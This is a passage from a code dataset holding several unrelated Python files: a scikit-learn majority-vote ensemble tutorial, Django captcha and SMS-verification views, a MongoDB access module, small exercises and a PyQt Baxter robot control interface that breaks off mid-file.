operator\n\nclass MajorityVoteClassifier(BaseEstimator, ClassifierMixin):\n def __init__(self, classifiers, vote='classlabel', weights=None):\n \"\"\"多数決アンサンブル分類器\n パラメータ\n -----------\n classifiers : array-like, shape = [n_classifiers]\n アンサンブルの様々な分類器\n vote : str, {'classlabel', 'probability'}\n 'classlabel'(デフォルト)の場合、クラスラベルの予測はクラスラベルの\n argmaxに基づき、'probability'の場合はクラスの所属確率のargmaxに基づき\n (分類器が調節済みであることが推奨される)\n weights : array-like, shape = [n_classifiers] (optional)\n 'int'または'float'型の値のリストが提供された場合は重みとして重要度を使い、\n 'weights=None'(デフォルト)の場合は均一な重みを使う\n \"\"\"\n self.classifiers = classifiers\n self.named_classifiers = {key: value for key,\n value in _name_estimators(classifiers)}\n self.vote = vote\n self.weights =weights\n\n def fit(self, X, y):\n \"\"\"分類器を適合させる\n パラメータ\n -------------\n X : {array-like, sparse matrix}, shape = [n_examples, n_features]\n 訓練データからなる行列\n y : array-like, shape = [n_examples]\n クラスラベルのベクトル\n 戻り値\n -------------\n self : object\n \"\"\"\n if self.vote not in ('probability', 'classlabel'):\n raise ValueError(f\"vote must be 'probability' \"\n f\"or 'classlabel'\"\n f\"; got (vote={self.vote})\")\n if self.weights and len(self.weights) != len(self.classifiers):\n raise ValueError(f'Number of classifiers and'\n f'; got {len(self.weights)} weights,'\n f' {len(self.classifiers)} classifiers')\n # LabelEncoderを使ってクラスラベルが0始まりになるようにエンコード\n # このことはself.predictのnp.argmax呼び出しで重要となる\n self.labelnc_ = LabelEncoder()\n self.labelnc_.fit(y)\n self.classes_ = self.labelnc_.classes_\n self.classifiers_ = []\n for clf in self.classifiers:\n fitted_clf = clone(clf).fit(X, self.labelnc_.transform(y))\n self.classifiers_.append(fitted_clf)\n return self\n def predict(self, X):\n \"\"\" Xのクラスラベルを予測する\n パラメータ\n -----------\n X : [array-like, sparse matrix}, shape = {n_examples, n_features]\n 訓練データからなる行列\n 戻り値\n -----------\n maj_vote : array-like, shape = [n_examples]\n 予測されたクラスラベル\n \"\"\"\n if self.vote == 'probability':\n maj_vote = np.argmax(self.predict_proba(X), axis=1)\n else: # 'classlabel'での多数決\n # clf.predict()呼び出しの結果を集める\n predictions = np.asarray([clf.predict(X)\n for clf in self.classifiers_]).T\n # 各データ点のクラス確率に重みを掛けて足し合わせた値が最大となる\n # 列番号を配列として返す\n maj_vote = np.apply_along_axis(\n lambda x: np.argmax(np.bincount(x, weights=self.weights)),\n axis=1, arr=predictions)\n # 各データ点に確率の最大値を与えるクラスラベルを抽出\n maj_vote = self.labelnc_.inverse_transform(maj_vote)\n return maj_vote\n \n def predict_proba(self, X):\n \"\"\" Xのクラス確率を予測する\n パラメータ\n -----------\n X : {array-like, sparse matrix}, shape = [n_examples, n_features]\n 訓練ベクトル : n_examplesはデータ点の個数、n_featuresは特徴量の個数\n 戻り値\n -----------\n avg_proba : array-like, shape = [n_examples, n_classes]\n 平均確率\n \"\"\"\n probas = np.asarray([clf.predict_proba(X) for clf in self.classifiers_])\n avg_proba = np.average(probas, axis=0, weights=self.weights)\n return avg_proba\n \n def get_params(self, deep=True):\n \"\"\" GridSearchの実行時に分類器のパラメータ名を取得 \"\"\"\n if not deep:\n return super().get_params(deep=False)\n else:\n # キーが\"分類器名__パラメータ名\"、値がパラメータ値のディクショナリを生成\n out = self.named_classifiers.copy()\n for name, step in self.named_classifiers.items():\n for key, value in step.get_params(deep=True).items():\n out[f'{name}__{key}'] = value\n return out\n \nfrom sklearn import datasets\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.preprocessing import LabelEncoder\n\niris = datasets.load_iris()\nX, y = iris.data[50:, [1, 2]], iris.target[50:]\nle = LabelEncoder()\ny = le.fit_transform(y)\n\nX_train, X_test, y_train, y_test = \\\n train_test_split(X, y, test_size=0.5, random_state=1, stratify=y)\n\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.pipeline import Pipeline\nclf1 = LogisticRegression(penalty='l2', C=0.001,\n solver='lbfgs',\n random_state=1)\nclf2 = DecisionTreeClassifier(max_depth=1,\n criterion='entropy',\n random_state=0)\nclf3 = KNeighborsClassifier(n_neighbors=1,\n p=2,\n metric='minkowski')\npipe1 = Pipeline([['sc', StandardScaler()],\n ['clf', clf1]])\npipe3 = Pipeline([['sc', StandardScaler()],\n ['clf', clf3]])\nclf_labels = ['Logistic regression', 'Decision tree', 'KNN']\nprint('10-fold cross validation:\\n')\nfor clf, label in zip([pipe1, clf2, pipe3], clf_labels):\n scores = cross_val_score(estimator=clf,\n X=X_train,\n y=y_train,\n cv=10,\n scoring='roc_auc')\n print(f'ROC AUC: {scores.mean():.2f}'\n f'(+/- {scores.std():.2f}) [{label}]')\n \nmv_clf = MajorityVoteClassifier(classifiers=[pipe1, clf2, pipe3])\nclf_labels += ['Majority votiong']\nprint('10-fold cross validation(ensemble):\\n')\nall_clf = [pipe1, clf2, pipe3, mv_clf]\nfor clf, label in zip(all_clf, clf_labels):\n scores = cross_val_score(estimator=clf,\n X=X_train,\n y=y_train,\n cv=10,\n scoring='roc_auc')\n print(f'ROC AUC: {scores.mean():.2f} '\n f'(+/- {scores.std():.2f}) [{label}]')\n \nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import roc_curve\nfrom sklearn.metrics import auc\ncolors = ['black', 'orange', 'blue', 'green']\nlinestyles = [':', '--', '-.', '-']\nfor clf, label, clr, ls in zip(all_clf, clf_labels, colors, linestyles):\n # 陽性クラスのラベルは1であると仮定\n y_pred = clf.fit(X_train, y_train).predict_proba(X_test)[:, 1]\n fpr, tpr, thresholds = roc_curve(y_true=y_test, y_score=y_pred)\n roc_auc = auc(x=fpr, y=tpr)\n plt.plot(fpr,tpr,\n color=clr,\n linestyle=ls,\n label=f'{label} (auc = {roc_auc:.2f})')\n \nplt.legend(loc='lower right')\nplt.plot([0, 1], [0, 1],\n linestyle='--',\n color='gray',\n linewidth=2)\nplt.xlim([-0.1, 1.1])\nplt.ylim([-0.1, 1.1])\nplt.grid(alpha=0.5)\nplt.xlabel('False positive rate (FPR)')\nplt.ylabel('True positive rate(TPR)')\n# plt.show()\n\nsc = StandardScaler()\nX_train_std = sc.fit_transform(X_train)\nfrom itertools import product\n# 決定領域を描画する最小値、最大値を生成\nx_min = X_train_std[:, 0].min() - 1\nx_max = X_train_std[:, 0].max() + 1\ny_min = X_train_std[:, 1].min() - 1\ny_max = X_train_std[:, 1].max() + 1\n# グリッドポイントを生成\nxx, yy = np.meshgrid(np.arange(x_min, x_max, 0.1),\n np.arange(y_min, y_max, 0.1))\n# 描画領域を2行2列に分割\nf, axarr = plt.subplots(nrows=2, ncols=2,\n sharex='col', sharey='row',\n figsize=(7, 5))\n# 決定領域のプロット、青や緑の散布図の作成などを実行\n# 変数idxは各分類器を描画する行と列の位置を表すタプル\nfor idx, clf, tt in zip(product([0, 1], [0, 1]), all_clf, clf_labels):\n clf.fit(X_train_std, y_train)\n Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])\n Z = Z.reshape(xx.shape)\n axarr[idx[0], idx[1]].contourf(xx, yy, Z, alpha=0.3)\n axarr[idx[0], idx[1]].scatter(X_train_std[y_train==0, 0],\n X_train_std[y_train==0, 1],\n c='blue',\n marker='^',\n s=50)\n axarr[idx[0], idx[1]].scatter(X_train_std[y_train==1, 0],\n X_train_std[y_train==1, 1],\n c='green',\n marker='o',\n s=50)\n axarr[idx[0], idx[1]].set_title(tt)\n\nplt.text(-3.5, -5.,\n s='Sepal width [standardized]',\n ha='center', va='center', fontsize=12)\nplt.text(-12.5, 4.5,\n s='Petal length [standardized]',\n ha='center', va='center',\n fontsize=12, rotation=90)\n# plt.show()\n\n# print(mv_clf.get_params())\n\nfrom sklearn.model_selection import GridSearchCV\nparams = {'decisiontreeclassifier__max_depth': [1, 2],\n 'pipeline-1__clf__C': [0.001,0.1,100.0]}\ngrid = GridSearchCV(estimator=mv_clf, param_grid=params, cv=10, scoring='roc_auc')\ngrid.fit(X_train, y_train)\nfor r, _ in enumerate(grid.cv_results_['mean_test_score']):\n mean_score = grid.cv_results_['mean_test_score'][r]\n std_dev = grid.cv_results_['std_test_score'][r]\n params = grid.cv_results_['params'][r]\n print(f'{mean_score:.3f} +/- {std_dev:.2f} {params}')\n\nprint(f'Best parameters: {grid.best_params_}')\nprint(f'ROC AUC : {grid.best_score_:.2f}')","repo_name":"rikuter67/PyTorch","sub_path":"7/2_MajorityVoteClassifier.py","file_name":"2_MajorityVoteClassifier.py","file_ext":"py","file_size_in_byte":10763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"43932022241","text":"# Takeing Matrix input and Manipulation\r\norder=int(input(\"Enter the Order of the Square Matrix: \"))\r\nmat1=[]\r\nfor i in range(0,order):\r\n mat1.append([int(index) for index in input(\"\").split(\" \")])\r\n\r\n\r\nprint(\"The Entered Matrix is: \\n\")\r\nprint(\"-\"*15)\r\nfor i in mat1:\r\n for j in i:\r\n print(\"%d\"%j, end=' ')\r\n print(\" \")\r\n\r\n\r\n'''\r\nCreated on 15-May-2018\r\n\r\n@author: RAJESH\r\n'''\r\n","repo_name":"rajeshchangdar/Python-Introduction","sub_path":"DataStructure/MatrixMult.py","file_name":"MatrixMult.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37590436015","text":"import random\nfrom django.http import HttpResponse, HttpRequest, JsonResponse\nfrom django.shortcuts import render\n# Create your views here.\nfrom django.views import View\nfrom woniu.libs.captcha.captcha import captcha\nfrom django_redis import get_redis_connection\nfrom redis import Redis\nfrom woniu.libs.yuntongxun.sms import CCP\n\nfrom celery_tasks.sms.tasks import send_sms_code\n\n\nclass ImageCodeView(View):\n def get(self, request: HttpRequest, uuid):\n print('ImageCodeView: ', uuid)\n code, code_text, code_image = captcha.generate_captcha()\n # 获取redis数据库,存入uuid:code_text\n connection: Redis = get_redis_connection('image_code')\n print('code:', code)\n connection.setex(uuid, 60 * 5, code_text)\n # 返回 code_image\n print('code:', code)\n print('code_text:', code_text)\n return HttpResponse(code_image, content_type='image/jpg')\n\n\nclass SmsCodeView(View):\n def get(self, request: HttpRequest, mobile):\n conn_sms: Redis = get_redis_connection('sms_code')\n sms_flag = conn_sms.get('send_flag_%s' % mobile)\n if sms_flag:\n return JsonResponse({'code': 401, 'errmsg': 'please wait until 5 min later'})\n image_code: str = request.GET.get('image_code')\n uuid = request.GET.get('uuid')\n\n if not all([image_code, uuid]):\n return JsonResponse({'code': 404, 'errmsg': '缺少必要的参数'})\n # 提取图片验证码\n connection: Redis = get_redis_connection('image_code')\n image_code_redis: bytes = connection.get(uuid)\n\n if not image_code_redis:\n return JsonResponse({'code': 400, 'errmsg': '图形验证码已失效'})\n\n # 删除验证码,无论如何,取出来用过就要删,防止客户端猜测\n connection.delete(uuid)\n\n if image_code.lower() != image_code_redis.decode().lower():\n return JsonResponse({'code': 400, 'errmsg': '验证码错误'})\n # 使用pipline提高redis性能\n pipline = conn_sms.pipeline()\n # 生成随机数当做短信验证码\n sms_code = '%06d' % random.randint(0, 999999)\n # 发送前 保存到redis\n pipline.setex(mobile, 60 * 1, sms_code)\n pipline.setex('send_flag_%s' % mobile, 60 * 1, 1)\n pipline.execute()\n\n # 发送短信验证码,升级为celery 任务\n # result = CCP().send_template_sms('15221342767', [sms_code, 50], 1)\n # print('sms send result:', result)\n send_sms_code.delay(mobile, sms_code)\n # if result != 0:\n # return JsonResponse({'code': 4001, 'errmsg': 'sms result :%s'%result})\n\n return JsonResponse({'code': 0, 'msg': '短信验证码发送成功'})\n","repo_name":"taoli-ax/newMall","sub_path":"verifications/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70063327948","text":"import os\nimport sys\nsys.path.insert(0, os.path.abspath(\"..\"))\n\nfrom automatedbrewery.AlarmControl import AlarmController\nimport time\nimport RPi.GPIO as GPIO\n\nprint(\"Turning the alarm off and on every 5 seconds\")\n\nAlarm = AlarmController()\ntime.sleep(5)\n\ntry:\n while True:\n Alarm.alarm = 1\n time.sleep(5)\n Alarm.alarm = 0\n time.sleep(5)\n\nexcept KeyboardInterrupt:\n Alarm.alarm = 0\n GPIO.cleanup()\n print(\"\\nEnding alarm test\")\n \n","repo_name":"Bobstin/AutomatedBrewery","sub_path":"tests/AlarmTest.py","file_name":"AlarmTest.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6350269044","text":"import datetime\nimport logging\nimport os\nimport pymongo\nimport six\nimport time\n\nfrom zcp import exceptions\nfrom zcp.common import conf\nfrom zcp.common.db import models\nfrom zcp.common.db import pymongo_utils\nfrom zcp import utils\n\nLOG = logging.getLogger(__name__)\nCONF = conf.Conf()\n\nMAX_RETRIES = CONF.read_option('mongodb', 'max_retries', 3)\nRETRY_INTERVAL = CONF.read_option('mongodb', 'retry_interval', 2)\nMONGO_URL = CONF.read_option('mongodb', 'connection')\nMAPPING_FILE = CONF.read_option('mongodb', 'mapping_file',\n '/etc/ceilometer/mapping.json')\nCACHE_MAPPING_FILE = {}\n\n\ndef parse_metric_json():\n global CACHE_MAPPING_FILE\n mapping_file = MAPPING_FILE\n if not os.path.isabs(mapping_file):\n CACHE_MAPPING_FILE = '/etc/ceilometer/%s' % mapping_file\n elif os.path.exists(mapping_file):\n CACHE_MAPPING_FILE = utils.mapping_json_to_dict(mapping_file)\n if not CACHE_MAPPING_FILE:\n LOG.error(\"Can't find Metric mapping.json file, \"\n \"Make sure the mapping_file exist \"\n \"under section [collector] \"\n \"which must be configured properly.\")\n raise exceptions.MappingFileNotFound\n return CACHE_MAPPING_FILE\n\n\ndef safe_mongo_call(call):\n def closure(*args, **kwargs):\n max_retries = MAX_RETRIES\n retry_interval = RETRY_INTERVAL\n attempts = 0\n while True:\n try:\n return call(*args, **kwargs)\n except pymongo.errors.AutoReconnect as err:\n if 0 <= max_retries <= attempts:\n LOG.error('Unable to reconnect to the primary mongodb '\n 'after %(retries)d retries. Giving up.' %\n {'retries': max_retries})\n raise\n LOG.warning('Unable to reconnect to the primary mongodb: '\n '%(errmsg)s. Trying again in %(retry_interval)d '\n 'seconds.' %\n {'errmsg': err, 'retry_interval': retry_interval})\n attempts += 1\n time.sleep(retry_interval)\n return closure\n\n\n@utils.Singleton\nclass Connection(object):\n \"\"\"MongoDB connection.\n \"\"\"\n SORT_OPERATION_MAPPING = {'desc': pymongo.DESCENDING,\n 'asc': pymongo.ASCENDING}\n _GENESIS = datetime.datetime(year=datetime.MINYEAR, month=1, day=1)\n _APOCALYPSE = datetime.datetime(year=datetime.MAXYEAR, month=12, day=31,\n hour=23, minute=59, second=59)\n SAMPLE_T = 60\n\n def __init__(self):\n url = MONGO_URL\n max_retries = MAX_RETRIES\n retry_interval = RETRY_INTERVAL\n attempts = 0\n while True:\n try:\n self.client = pymongo.MongoClient(url)\n LOG.debug('mongo client: %s' % self.client)\n parse_metric_json()\n except pymongo.errors.ConnectionFailure as e:\n if max_retries >= 0 and attempts >= max_retries:\n LOG.error('Unable to connect to the database after '\n '%(retries)d retries. Giving up.' %\n {'retries': max_retries})\n raise\n LOG.warning('Unable to connect to the database server: '\n '%(errmsg)s. Trying again in %(retry_interval)d '\n 'seconds.' %\n {'errmsg': e, 'retry_interval': retry_interval})\n attempts += 1\n time.sleep(retry_interval)\n except Exception as e:\n LOG.warning('Unable to connect to the database server: '\n '%(errmsg)s.' % {'errmsg': e})\n raise\n else:\n connection_options = pymongo.uri_parser.parse_uri(url)\n self.db = getattr(self.client, connection_options['database'])\n self.db.authenticate(connection_options['username'],\n connection_options['password'])\n break\n\n def get_resources(self, start_timestamp=None, start_timestamp_op=None,\n end_timestamp=None, end_timestamp_op=None,\n metaquery=None, resource=None, limit=None):\n \"\"\"Return an iterable of models.Resource instances\n :param start_timestamp: Optional modified timestamp start range.\n :param start_timestamp_op: Optional start time operator, like gt, ge.\n :param end_timestamp: Optional modified timestamp end range.\n :param end_timestamp_op: Optional end time operator, like lt, le.\n :param metaquery: Optional dict with metadata to match on.\n :param resource: Optional resource filter.\n :param limit: Maximum number of results to return.\n \"\"\"\n metaquery = pymongo_utils.improve_keys(metaquery, metaquery=True) or {}\n if start_timestamp or end_timestamp:\n # TO DO\n # ceilometet.storage.impl_mongo.ConnectionOrig._get_time_constrained_resources\n return []\n else:\n query = {}\n sort_instructions = []\n if resource is not None:\n query['_id'] = resource\n query.update(dict((k, v)\n for (k, v) in six.iteritems(metaquery)))\n sort_key = 'last_sample_timestamp'\n sort_instructions.append((sort_key,\n self.SORT_OPERATION_MAPPING['desc']))\n if limit:\n results = self.db.resource.find(query, sort=sort_instructions,\n limit=limit)\n else:\n results = self.db.resource.find(query, sort=sort_instructions)\n\n return [models.Resource(\n resource_id=r['_id'],\n user_id=r['user_id'],\n project_id=r['project_id'],\n first_sample_timestamp=r.get('first_sample_timestamp',\n self._GENESIS),\n last_sample_timestamp=r.get('last_sample_timestamp',\n self._APOCALYPSE),\n source=r['source'],\n metadata=pymongo_utils.unquote_keys(r['metadata']),\n resource_name=pymongo_utils.unquote_keys(\n r['resource_name'])) for r in results]\n\n def get_meter_statistics(self, sample_filter, period=None, groupby=None,\n aggregate=None, limit=None):\n \"\"\"Return an iterable of models.Statistics instance containing meter\n statistics described by the query parameters.\n\n The filter must have a meter value set.\n\n \"\"\"\n if groupby or aggregate:\n # TO DO\n # ceilometet.storage.impl_mongo.Connection.get_meter_statistics\n return []\n period = []\n aggregate = []\n if (groupby and\n set(groupby) - set(['user_id', 'project_id',\n 'resource_id', 'source'])):\n raise NotImplementedError(\"Unable to group by these fields\")\n q = pymongo_utils.make_query_from_filter(sample_filter)\n if period:\n T = period\n else:\n # Set the smallest base_period as default sample period\n # T = self.SAMPLE_T\n T = utils.get_metric_BASE_T(CACHE_MAPPING_FILE,\n sample_filter.get('meter')) \\\n or self.SAMPLE_T\n coll = 'statistics%s' % T\n LOG.debug(\"get_statistics2 q = %s\" % q)\n if limit:\n results = self.db[coll].find(q,\n sort=[('period_start', -1)],\n limit=limit)\n else:\n results = self.db[coll].find(q, sort=[('period_start', 1)])\n\n stats = [self._stats_result_to_model(r, groupby, aggregate)\n for r in results]\n return stats\n\n def _stats_result_aggregates(self, result, aggregate):\n stats_args = {}\n for attr in ['count', 'min', 'max', 'sum', 'avg']:\n if attr in result:\n stats_args[attr] = result[attr]\n\n if aggregate:\n stats_args['aggregate'] = {}\n for a in aggregate:\n ak = '%s%s' % (a.func, '/%s' % a.param if a.param else '')\n if ak in result:\n stats_args['aggregate'][ak] = result[ak]\n elif 'aggregate' in result:\n stats_args['aggregate'][ak] = result['aggregate'].get(ak)\n return stats_args\n\n def _stats_result_to_model(self, result, groupby, aggregate,\n period=None, first_timestamp=None):\n\n stats_args = self._stats_result_aggregates(result, aggregate)\n stats_args['unit'] = result['unit']\n stats_args['duration'] = result['T'] if 'T' in result \\\n else result['duration']\n stats_args['duration_start'] = result['period_start']\n stats_args['duration_end'] = result['period_end']\n stats_args['period'] = result['T'] if 'T' in result \\\n else result['period']\n stats_args['period_start'] = result['period_start']\n stats_args['period_end'] = result['period_end']\n stats_args['groupby'] = (dict(\n (g, result['groupby'][g]) for g in groupby) if groupby else None)\n return models.Statistics(**stats_args)\n","repo_name":"apolloliu/zcp","sub_path":"zcp/common/db/impl_mongo.py","file_name":"impl_mongo.py","file_ext":"py","file_size_in_byte":9675,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"20139262767","text":"class Solution(object):\n def longestPalindrome(self, s):\n \"\"\"\n :type s: str\n :rtype: str\n \"\"\"\n result = \"\"\n length = 0\n start = 0\n end = 0\n for i in range(len(s)):\n lenOddStr = self.expandString(i, i, s)\n lenEvenStr = self.expandString(i, i + 1, s)\n maxLength = max(lenOddStr, lenEvenStr)\n print(\"max len\", maxLength)\n if maxLength > end - start:\n start = i - (maxLength - 1) // 2\n end = i + maxLength // 2\n\n return s[start: end + 1]\n\n def expandString(self, left, right, s):\n print(left)\n print(right)\n while(left >= 0 and right < len(s) and s[left] == s[right]):\n left -= 1\n right += 1\n print(\"len\", right - left - 1)\n return right - left - 1\n\n\nn = Solution()\n\nprint(\"Result is\", n.longestPalindrome(\"abad\"))\n","repo_name":"songtoan0201/algorithm","sub_path":"leetCode/longestPalindromeSubStr.py","file_name":"longestPalindromeSubStr.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17118694218","text":"import os\r\nimport socket\r\nimport sys\r\nfrom PyQt5.QtCore import QSize, Qt\r\nfrom PyQt5.QtGui import QImage, QPalette, QBrush, QPixmap\r\nfrom PyQt5 import QtWidgets\r\nimport subprocess\r\nfrom robot import *\r\nimport time\r\nfrom world_creation import *\r\nfrom reset import *\r\n\r\nclass Interface(QtWidgets.QWidget):\r\n \"\"\"\r\n Class Interface creates window application that serves\r\n as Baxter-robot interface for students.\r\n\r\n Interface is consisted of two windows:\r\n First one is Cubes configuration choice window.\r\n Second one is Robot control panel interface.\r\n\r\n Since those two windows are never exist on the same time,\r\n they are actually the same one: when we have chosen cubes configuration,\r\n app deletes all the objects of cubes configuration from the class member @window\r\n and adds all new objects from robot-control interface.\r\n\r\n Interface is inherited from Qt.QWidjet, so it may be useful to read\r\n documentation for Qt class to understand ideas of layouts, widgets etc.\r\n\r\n Important *** of the class:\r\n @detail\r\n @arm\r\n @curr_cube_pos\r\n @baxter\r\n @Valid_config\r\n\r\n \"\"\"\r\n\r\n def __init__(self):\r\n \"\"\"\r\n Init function runs a few functions one by one:\r\n Script_output - creates a new file for output of the program.\r\n Then we create object (@baxter) of the class Robot.\r\n @arm is arm that baxter use to replace cubes.\r\n The @window is created.\r\n init_ui adds all the objects of cube-choice to the @window.\r\n @time_for_action is used to prevent user from start new robot action,\r\n while previous one wasn't finished.\r\n \"\"\"\r\n super(QtWidgets.QWidget, self).__init__()\r\n self.Script_output()\r\n self.baxter = Robot()\r\n self.arm = 'left'\r\n self.window = QtWidgets.QHBoxLayout()\r\n self.init_ui()\r\n self.script_story.write('Script started at ' + str(time.asctime()) + '\\n\\n')\r\n self.time_for_action = time.time()\r\n\r\n def init_ui(self):\r\n \"\"\"\r\n Adds all the objects of Cubes configuration choice window to the @window.\r\n \"\"\"\r\n self.Cube_choice_window()\r\n self.setLayout(self.window)\r\n self.show()\r\n\r\n def Script_output(self):\r\n \"\"\"\r\n Script_output creates a new file for output of the program by searching\r\n for previous runs of the application in output directory.\r\n\r\n Also name of each output file contain hostname of the computer,\r\n where script is running.\r\n \"\"\"\r\n host_name = str(socket.gethostname()).split('.iem.technion.ac.il')[0]\r\n output_folder = os.listdir(str(os.getcwd()) + '/output')\r\n files_list = []\r\n if (len(output_folder) == 0):\r\n max_el = 0\r\n else:\r\n for file_name in output_folder:\r\n files_list.append(int(file_name.split('-')[-1].split('.')[0]))\r\n max_el = max(files_list)\r\n\r\n self.script_story = open('output/' + host_name + '-' + str(max_el + 1) + '.txt', 'w')\r\n\r\n def Cube_choice_window(self):\r\n \"\"\"\r\n Creating of the interface for Cubes configuration choice window.\r\n\r\n Firstly method change window style using Cube_choice_window_style method.\r\n\r\n Cube_choice_window gives access to two functions:\r\n Start button redirects us to the Robot control panel interface\r\n using Interface_window method.\r\n Close button starts closing process using CloseCmd method.\r\n \"\"\"\r\n\r\n self.Cube_choice_window_style()\r\n\r\n self.col = QtWidgets.QVBoxLayout()\r\n\r\n self.Cubes_configuration = QtWidgets.QLabel('Choose cubes configuration:')\r\n self.Cubes_configuration.setStyleSheet(\"color: white; font: 18px\")\r\n self.Cubes_configuration.setAlignment(Qt.AlignCenter)\r\n\r\n self.cubes_line = QtWidgets.QHBoxLayout()\r\n self.CUBE_1 = QtWidgets.QComboBox()\r\n self.CUBE_2 = QtWidgets.QComboBox()\r\n self.CUBE_3 = QtWidgets.QComboBox()\r\n\r\n self.CUBE_1.addItems([\"1\", \"2\", \"3\", \"4\", \"5\", \"6\"])\r\n self.CUBE_2.addItems([\"1\", \"2\", \"3\", \"4\", \"5\", \"6\"])\r\n self.CUBE_3.addItems([\"1\", \"2\", \"3\", \"4\", \"5\", \"6\"])\r\n\r\n self.cubes_line.addWidget(self.CUBE_1)\r\n self.cubes_line.addWidget(self.CUBE_2)\r\n self.cubes_line.addWidget(self.CUBE_3)\r\n\r\n self.Start = QtWidgets.QPushButton('Start')\r\n self.Start.clicked.connect(self.Interface_window)\r\n\r\n self.Close = QtWidgets.QPushButton('Close')\r\n self.Close.clicked.connect(self.CloseCmd)\r\n\r\n self.l_line = QtWidgets.QHBoxLayout()\r\n self.l_line.addWidget(self.Start)\r\n\r\n self.col.addWidget(self.Cubes_configuration)\r\n self.col.addLayout(self.cubes_line)\r\n self.col.addWidget(self.Start)\r\n self.col.addWidget(self.Close)\r\n\r\n self.window.addLayout(self.col)\r\n\r\n def Interface_window(self):\r\n \"\"\"\r\n The Interface_window method represents Robot control-panel.\r\n\r\n Before providing access to robot commands to student this method make\r\n some preparational work:\r\n\r\n 1) Method gets cubes configuration from ComboBoxes\r\n using Get_cubes_config method and put them into @cubes_facet_numbers .\r\n\r\n 2) Clears @window object to fill it then with objects of\r\n Robot control panel interface.\r\n\r\n 3) Thirdly change window style using Conrol_panel_window_style method.\r\n\r\n 4) Creates set of flags to prevent impossible actions.\r\n\r\n 5) Control panel window is separated on 4 parts (@col_1, @col_2, @col_3, @col_4)\r\n with different method each:\r\n @Input method is used to choose cube that we want to manipulate.\r\n @Commands method is used to manipulate the chosen cube.\r\n @Output method shows when user trying to perform impossible action.\r\n @End_command method can reset cube position, return to cubes configuration window\r\n or quit from the program.\r\n\r\n 6) load_gazebo_models is a function from world_creation.py file.\r\n It creates models of tables and cubes and places cubes on the tables\r\n using their starting configuration that we've chosen on\r\n cube choice window.\r\n \"\"\"\r\n\r\n self.Valid_config = 1\r\n self.cubes_facet_numbers = self.Get_cubes_config()\r\n num1 = str(int(self.cubes_facet_numbers[0])) + ', '\r\n num2 = str(int(self.cubes_facet_numbers[1])) + ', '\r\n num3 = str(int(self.cubes_facet_numbers[2])) + '\\n'\r\n self.script_story.write('Starting cubes configurarion: ' + num1 + num2 + num3 + '\\n')\r\n print(self.cubes_facet_numbers)\r\n self.clearLayout(self.col)\r\n\r\n self.Conrol_panel_window_style()\r\n\r\n self.detail = 'None'\r\n\r\n self.Angle_enter = 1\r\n self.Type_enter = 0\r\n self.Crd_enter = 1\r\n self.Detail_on_the_floor = 0\r\n self.Detail_on_the_buffer = 0\r\n self.Buffer_is_free = 1\r\n self.Cube_is_already_on_buffer = 0\r\n self.Cube_is_already_on_destination = 0\r\n\r\n self.Floor_flag = 0\r\n self.Type_flag = 0\r\n self.Crd_flag = 0\r\n self.Nth_do_flag = 0\r\n self.Not_on_the_buffer_flag = 0\r\n self.Buffer_is_not_free_flag = 0\r\n self.Cube_is_already_on_buffer_flag = 0\r\n self.Cube_is_already_on_destination_flag = 0\r\n self.prev_command_finish = time.time()\r\n self.curr_command_start = time.time()\r\n\r\n self.col_1 = QtWidgets.QVBoxLayout()\r\n self.col_2 = QtWidgets.QVBoxLayout()\r\n self.col_3 = QtWidgets.QVBoxLayout()\r\n self.col_4 = QtWidgets.QVBoxLayout()\r\n\r\n self.Input()\r\n self.Commands()\r\n self.Output()\r\n self.End_commands()\r\n\r\n self.window.addLayout(self.col_1)\r\n self.window.addLayout(self.col_2)\r\n self.window.addLayout(self.col_3)\r\n self.window.addLayout(self.col_4)\r\n\r\n self.cur_cube_crd = [0,0,0]\r\n self.curr_finish_table = 0\r\n load_gazebo_models(self.cubes_facet_numbers)\r\n\r\n def Cube_choice_window_style(self):\r\n \"\"\"\r\n Style function for cube choice window.\r\n Sets window geometry, title and background.\r\n \"\"\"\r\n\r\n oImage = QImage(\"pics/back_3.jpg\")\r\n sImage = oImage.scaled(QSize(500, 200), Qt.KeepAspectRatioByExpanding) # resize Image to widgets size\r\n palette = QPalette()\r\n palette.setBrush(10, QBrush(sImage)) # 10 = Windowrole\r\n self.setPalette(palette)\r\n self.setWindowTitle(\"Baxter interface\")\r\n self.setGeometry(200, 200, 450, 200)\r\n\r\n def Conrol_panel_window_style(self):\r\n \"\"\"\r\n Style function for control panel window.\r\n Sets window geometry, title and background.\r\n \"\"\"\r\n\r\n oImage = QImage(\"pics/back.jpg\")\r\n sImage = oImage.scaled(700, 200, Qt.KeepAspectRatioByExpanding) # resize Image to widgets size\r\n palette = QPalette()\r\n palette.setBrush(10, QBrush(sImage)) # 10 = Windowrole\r\n self.setPalette(palette)\r\n self.setWindowTitle(\"Baxter interface\")\r\n self.setGeometry(200,200,700, 200)\r\n\r\n def Input(self):\r\n \"\"\"\r\n @col_1\r\n\r\n Three buttons for each cube.\r\n\r\n When one of the buttons was chosen - Detail_choice method is activated.\r\n \"\"\"\r\n\r\n Cube_sign = QtWidgets.QLabel('Cube type :')\r\n Cube_sign.setAlignment(Qt.AlignCenter)\r\n Cube_sign.setStyleSheet(\"color: white; font: 18px\")\r\n cn_line = QtWidgets.QHBoxLayout()\r\n cn_line.addWidget(Cube_sign)\r\n cn_line.setAlignment(Qt.AlignTop)\r\n self.col_1.addLayout(cn_line)\r\n\r\n an_line = 